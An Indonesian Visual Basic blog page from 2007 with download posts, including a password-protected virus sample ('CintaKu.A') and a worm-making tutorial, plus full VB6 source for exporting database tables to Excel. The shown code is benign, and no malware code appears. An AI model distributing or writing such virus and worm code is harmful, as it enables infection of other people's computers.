Monday, February 5, 2007

Membuat tree

Download

membuat antrian dengan suara

Contoh program
Download

Virus CintaKu.A

Contoh Virus ini hanya sekedar pengetahuan saja
mengenai pengembangan dan akibat yang sebabkan saya tidak bertanggung jawab.
Download
untuk membuka gunakan password vbbego

Wednesday, January 31, 2007

Tuesday, January 30, 2007

Membuat worm

Teman - teman bisa download di bawah ini
Membuat Worm
Untuk membuka gunakan password:vbbego

Export Data Ke Excel


Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Dim AppExcel As Excel.Application
Dim ExcelWBk As Excel.Workbook
Dim ExcelWS As Excel.Worksheet
Dim dbCon As New ADODB.Connection

Function ShowDialogKoneksi() As String
On Error GoTo vbbego_home_site
Dim objDataLink As New DataLinks
Dim strConn As String

strConn = objDataLink.PromptNew
ShowDialogKoneksi = strConn
Exit Function
vbbego_home_site:
ShowDialogKoneksi = ""
End Function

Private Sub Command1_Click()
If List1.ListCount > 0 Then
SaveToExcel
End If
End Sub

Private Sub Command2_Click()
Dim H As String
Text1 = ""
List1.Clear

H = ShowDialogKoneksi
If Trim(H) <> "" Then
Text1 = H
If LoadDatabase(H) Then
Dim rstSchema As ADODB.Recordset
Set rstSchema = dbCon.OpenSchema(adSchemaTables)
If Not rstSchema.EOF Then
While Not rstSchema.EOF
List1.AddItem rstSchema!TABLE_NAME
rstSchema.MoveNext
Wend
End If
rstSchema.Close
Text2.Text = "C:\hasil_" & Format(Date, "YYMMDD") & Format(Time, "HHMMSS") & ".xls"
End If
End If
End Sub

Sub SaveToExcel()
On Error Resume Next

Set AppExcel = New Excel.Application
Set ExcelWBk = AppExcel.Workbooks.Add

Dim dbRec As New ADODB.Recordset
Dim ColField As Collection
Dim jmlTabel As Integer, NamaTable As String
Dim Bego As Boolean

Me.Enabled = False
For jmlTabel = 0 To List1.ListCount - 1
NamaTable = List1.List(jmlTabel)
If List1.Selected(jmlTabel) Then

If dbRec.State = 1 Then dbRec.Close
dbRec.Open NamaTable, dbCon, 3, 3
List1.ListIndex = jmlTabel
Set ExcelWS = ExcelWBk.Worksheets.Add
ExcelWS.Name = NamaTable

Dim jmlField As Integer
Set ColField = New Collection

For jmlField = 0 To dbRec.Fields.Count - 1
ExcelWS.Cells(1, jmlField + 1) = dbRec.Fields(jmlField).Name
ColField.Add dbRec.Fields(jmlField).Name
DoEvents
Next jmlField

Dim Pos As Long
Pos = 2
If Not dbRec.EOF Then
dbRec.MoveFirst
While Not dbRec.EOF
For jmlField = 1 To ColField.Count
ExcelWS.Cells(Pos, jmlField) = dbRec(ColField(jmlField))
Next jmlField
Pos = Pos + 1
dbRec.MoveNext
DoEvents
Wend
End If
dbRec.Close
List1.Selected(jmlTabel) = False
End If
If Err <> 0 Then
Bego = True
Err.Clear
End If
Next jmlTabel
ExcelWBk.SaveAs Text2.Text
ExcelWBk.Saved = True

Me.Enabled = True
If MsgBox("Beres juga export datanya." & IIf(Bego, "Tapi ada sebagian data yg gak bisa di export", "") & ". Mau melihat hasilnya sekarang?", 32 + vbYesNo) = vbYes Then
AppExcel.Visible = True
Else
AppExcel.Quit
End If
End Sub

Function LoadDatabase(conStr As String) As Boolean
On Error GoTo vbbego_home_site
If dbCon.State = 1 Then dbCon.Close
dbCon.Open conStr
LoadDatabase = True
Exit Function
vbbego_home_site:
LoadDatabase = False
End Function

Private Sub Label4_Click()
ShellExecute Me.hwnd, vbNullString, "http://www.vbbego.com", vbNullString, "C:\", 1
End Sub

Private Sub Label5_Click()
ShellExecute Me.hwnd, vbNullString, "mailto:support@vbbego.com", vbNullString, "C:\", 1
End Sub

Private Sub List1_Click()
Command1.Enabled = List1.ListCount > 0
End Sub

Untuk Download file
Download